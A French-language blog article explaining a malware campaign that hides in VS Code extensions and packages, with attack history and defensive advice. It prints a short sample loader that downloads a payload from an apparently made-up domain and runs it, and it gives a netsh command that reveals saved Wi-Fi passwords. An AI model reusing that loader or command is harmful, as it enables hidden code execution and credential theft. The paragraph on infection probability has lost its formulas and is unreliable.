Vous faites confiance à vos outils. C’est la première règle du code non écrit des développeurs. Quand vous tapez npm install pour une bibliothèque ou que vous cliquez sur « Installer » pour un élégant nouveau thème Dark Mode dans VS Code, vous ne vous attendez pas à un cheval de Troie. Vous vous attendez à une meilleure coloration syntaxique. Vous vous attendez à une productivité accrue.
Mais une nouvelle vague massive d’attaques de la chaîne d’approvisionnement a brisé cette confiance, transformant votre propre environnement de développement en poste d’écoute pour les cybercriminels.
Des chercheurs de Check Point, Phylum et d’autres sociétés de sécurité ont découvert une campagne sophistiquée et coordonnée visant le cœur même de la pile de développement moderne : VS Code, npm, Go et Rust. Il ne s’agit pas seulement de code bogué, de mineurs de crypto-monnaies ou de logiciels publicitaires ennuyeux. Ce sont des « InfoStealers » précisément conçus se faisant passer pour des thèmes premium (comme « Bitcoin Black ») et des assistants IA à la pointe de la technologie (comme « Codo AI » et « Chengdu AI »).
Et ils ne volent pas seulement votre code - ils prennent vos mots de passe Wi-Fi, vos clés SSH, vos cookies de navigateur, et même des captures d’écran de votre bureau actif.
Cette plongée approfondie explique exactement comment ces extensions fonctionnent, la physique de l’attaque « Imposter », l’économie qui pousse cette augmentation, et pourquoi le badge « Vérifié » pourrait ne pas être suffisant pour vous sauver.
Le crochet : pourquoi cela importe maintenant
Pendant des années, le terme « Supply Chain Attack » évoquait des images de la violation de SolarWinds - un compromis de haut niveau, parrainé par un État, du serveur de génération qui s’est répercuté sur des milliers d’agences gouvernementales. Cela semblait lointain, presque abstrait, pour le développeur frontend moyen ou le scientifique des données.
Cette nouvelle vague est personnelle. Elle cible le développeur individuel sur sa machine locale, contournant souvent entièrement les pare-feu d’entreprise en circulant sur le dos de protocoles de confiance.
L’extension « Bitcoin Black », qui promettait un thème sombre élégant pour les traders de crypto-monnaies, a été téléchargée des milliers de fois. De même, « Codo AI » a surfé sur la vague du battage publicitaire de ChatGPT et DeepSeek, promettant un assistant IA intégré. Au lieu de vous aider à coder, il déployait silencieusement un infostealer basé sur DLL.
La partie terrifiante ? Cela a fonctionné. Parce que ces outils résident à l’intérieur de votre IDE, ils héritent des permissions de haut niveau de votre environnement de développement. L’analyse du code obfusqué a révélé un script postinstall qui a collecté les variables d’environnement (où vous conservez vos clés AWS) et exécutait des commandes shell.
« Les attaquants ne se contentent plus de défoncer la porte d’entrée ; ils se déguisent en meubles que vous apportez à l’intérieur. »
Plongée technique approfondie : l’anatomie de l’attaque
Comment un « Thème » - qui devrait être juste un fichier JSON de codes hexadécimaux - peut-il voler votre mot de passe Wi-Fi ? La mécanique est étonnamment sophistiquée et révèle une compréhension approfondie de l’architecture des extensions VS Code.
1. Le mécanisme de l’« usurpateur »
- Typosquatting :
prettier-vscode-plusressemble à une légitime version « Plus » du populaire formateur Prettier. Ce n’était pas le cas. C’était un vecteur pour le malware « OctoRAT ». - Trend Jacking : « Bitcoin Black » a ciblé le chevauchement entre développeurs et passionnés de crypto. « Codo AI » a ciblé le boom de l’IA.
Ils polissent les READMEs, ajoutent de faux badges « Vérifié » (en tant que PNG dans la description) et utilisent des réseaux de bots pour gonfler artificiellement les nombres de téléchargements afin de sembler légitimes. Sur le marché VS Code, la preuve sociale est le mécanisme de sécurité principal pour la plupart des utilisateurs, et il est facilement falsifiés.
2. La livraison de la charge utile (la chute de la DLL)
Une fois installé, un thème se compose techniquement principalement de fichiers JSON définissant les couleurs. Cependant, les extensions VS Code peuvent également regrouper du code exécutable et des événements d’activation.
Dans le cas de Bitcoin Black, l’extension contenait un fichier extension.js caché qui n’a pas fait que appliquer des couleurs.
- Trigger : Lors de l’activation (ou du démarrage de VS Code), le JavaScript s’exécute.
- Fetcher : Il se connecte à un serveur Command & Control (C2), généralement hébergé sur un domaine légitime compromis ou un VPS bon marché, se faisant passer pour une vérification telemetry bénigne. L’enquête a découvert des connexions à un serveur de commande et de contrôle connu précédemment lié au Lazarus Group.
- Drop : Il télécharge une charge utile secondaire - souvent un fichier PE (Portable Executable) compilé ou un fichier DLL. Dans la campagne « Anivia », c’était OctoRAT.
Voici un exemple conceptuel de la façon dont le code du chargeur malveillant peut sembler simple dans un extension.js valide :
// Looks like telemetry
const telemetry = require('./telemetry-utils');
function activate(context) {
// legitimate theme activation code...
// The malicious payload
// obfuscated to look like analytics
const u = "https://cdn-stats-track.com/update/v2/payload";
telemetry.checkUpdate(u).then(payload => {
// execute the downloaded buffer
require('child_process').exec(payload);
});
}
Le module telemetry-utils contiendrait la logique pour récupérer le binaire et l’exécuter, en le sauvegardant souvent dans un répertoire temporaire comme %TEMP%\vscode-updater.exe pour éviter les soupçons.
3. Exfiltration : l’« attaque éclair »
Le malware ne reste pas dans VS Code. Il utilise les ressources système de l’hôte pour récolter les données.
- Identifiants Wi-Fi : En exécutant
netsh wlan show profile name="[SSID]" key=clear(sous Windows), il récupère les mots de passe Wi-Fi en texte brut. Cela permet aux attaquants de compromettre physiquement votre réseau s’ils sont locaux, ou de mapper les identifiants du réseau d’entreprise. - Hijacking de session de navigateur : Il analyse les répertoires
AppData/Local/Google/Chrome/User Datapour copier les bases de données SQLite contenant les cookies et les mots de passe enregistrés. Cela permet aux attaquants de contourner 2FA en réutilisant vos cookies de session. - Captures d’écran : En utilisant les appels API Windows,
BitBltou similaires, il capture l’écran. Comme les développeurs ont souvent des secrets visibles dans d’autres fenêtres (Postman, Notion, 1Password), c’est catastrophique. - Hijacking du presse-papiers : Il surveille le presse-papiers pour les chaînes qui ressemblent à des adresses de portefeuille de crypto-monnaies ou à des clés API et les échange ou les journalise.
4. Blocs de code : les mathématiques de l’infection
La probabilité d’infection dans une chaîne d’approvisionnement augmente de façon exponentielle avec le nombre de dépendances et le facteur de confiance (où 0 est la confiance aveugle).
Où est le risque par paquet. À mesure que (le nombre de dépendances) augmente, se rapproche de 1.
Pour un développeur senior ayant 50 extensions et 1000 paquets npm dans leur node_modules, la surface d’attaque est massive.
Historique contextuel : un modèle de négligence
Ce n’est pas la première fois. L’histoire des gestionnaires de paquets est une histoire de confiance brisée.
2018 : l’incident event-stream
Un paquet npm largement utilisé, event-stream, a été transmis par son auteur original (qui était épuisé) à un nouveau responsable bénévole nommé « Right9delta ». Ce nouveau responsable a d’abord été utile. Ensuite, il a injecté une dépendance appelée flatmap-stream qui contenait du code chiffré. Ce code visait spécifiquement les processus de génération de Copay (une application portefeuille Bitcoin) pour voler les clés privées. C’était l’attaque de la « patience » - attendez d’être de confiance, puis frappez.
2020 : SolarWinds
La « Grand-mère » des attaques de la chaîne d’approvisionnement. Les attaquants ont compromis le système de génération lui-même. Bien que ce soit parrainé par un État et de haut niveau, cela a prouvé que si vous pouviez empoisonner le puits (la source du code), vous pouviez empoisonner le village (tout le monde qui l’utilise).
2024 : la porte dérobée XZ Utils
Cette année même, la porte dérobée XZ Utils a démontré comment un responsable a dépensé des années à construire la confiance avant d’insérer une porte dérobée sophistiquée dans une bibliothèque de compression Linux de base. Les attaques VS Code sont la version « restauration rapide » de ceci : rapide, sale, et largement distribuée.
Le basculement du « Lazarus »
Les acteurs parrainés par l’État (comme le Lazarus Group) se sont déplacés du vol de banques au vol de développeurs. Pourquoi ? Parce que les développeurs détiennent les clés des banques. Ils ciblent la « middleware » de l’économie Internet.
Le Marketplace VS Code a toujours été une « terre sauvage ». Contrairement à l’Apple App Store, il y a un examen humain minimal. Les scanners automatisés vérifient les signatures de virus connues, mais un script JavaScript obfusqué écrit sur mesure passe souvent directement par les vérifications logiques.
La réalité économique
Pourquoi les pirates ciblent-ils les développeurs ? ROI (Retour sur Investissement).
Une campagne de phishing ciblée contre un employé de banque coûte du temps, de l’argent et une ingénierie sociale sophistiquée. Télécharger une fausse extension « AI Helper » coûte $0.
Si 5 000 développeurs l’installent :
- 10% pourraient travailler pour des entreprises Fortune 500.
- 1% pourraient avoir des clés AWS Root dans leur fichier
.env. - C’est 50 « Clés d’or » pour le prix d’un faux README.
L’avantage est massif. Le « Coût des biens vendus » pour l’attaquant est proche de zéro, tandis que le revenu potentiel provenant de la vente d’accès (Initial Access Brokers) ou du déploiement de rançongiciels est en millions. Une seule clé AWS root entreprise valide peut se vendre pour $5 000 à $50 000 sur les marchés du dark web selon les limites de quota.
Analyse prospective : l’IDE « Zéro Confiance »
L’industrie atteint un point de rupture. Les données de marché suggèrent trois changements majeurs en 2026 :
- La fin du Marketplace « Ouvert » : Microsoft et GitHub seront probablement forcés de mettre en œuvre des processus d’examen de style « App Store ».
- Extensions en bac à sable : Actuellement, les extensions s’exécutent avec vos privilèges utilisateur. Les futures versions de VS Code pourraient forcer les extensions à s’exécuter dans un bac à sable WASM sans accès au système de fichiers par défaut. Vous devrez accorder explicitement à une extension la permission de lire votre dossier
/src, tout comme vous accordez à une application mobile l’accès à votre caméra. - « Allow-Lists » d’entreprise : Les entreprises cesseront d’autoriser les développeurs à installer ce qu’ils veulent. Les Marketplaces internes risquent de se multiplier où seules les extensions vérifiées sont disponibles.
Ce que vous devez faire aujourd’hui
Vous ne pouvez pas attendre Microsoft.
- Auditez vos extensions : Allez à votre onglet des extensions. Si vous ne l’utilisez pas quotidiennement, désinstallez-le.
- Vérifiez l’éditeur : Cliquez sur le nom de l’éditeur. Ont-ils un site Web ? Un répertoire GitHub ? Si c’est un nom générique ou un compte tout nouveau, ne l’installez pas.
- Utilisez des scanneurs : Des outils comme Socket et Snyk commencent à scanner les extensions IDE, pas seulement les paquets npm. Utilisez-les.
- Filtrage réseau : Utilisez des outils comme Little Snitch (sur Mac) pour surveiller où votre VS Code se connecte. Si votre « Thème » parle à un serveur dans une région non standard, bloquez-le.
Le verdict : L’ère du « Thème Troyen » est arrivée. Votre IDE n’est plus un sanctuaire ; c’est un champ de bataille. Codez en conséquence.
Nos sources (3)
- thehackernews.com Researchers Find Malicious VS Code, Go, NPM Packages
- infosecurity-magazine.com Malicious VS Code Extensions Found Stealing Data
- hunt.io The Anivia/OctoRAT Attack Chain
🦋 Discussion sur Bluesky
Discuter sur Bluesky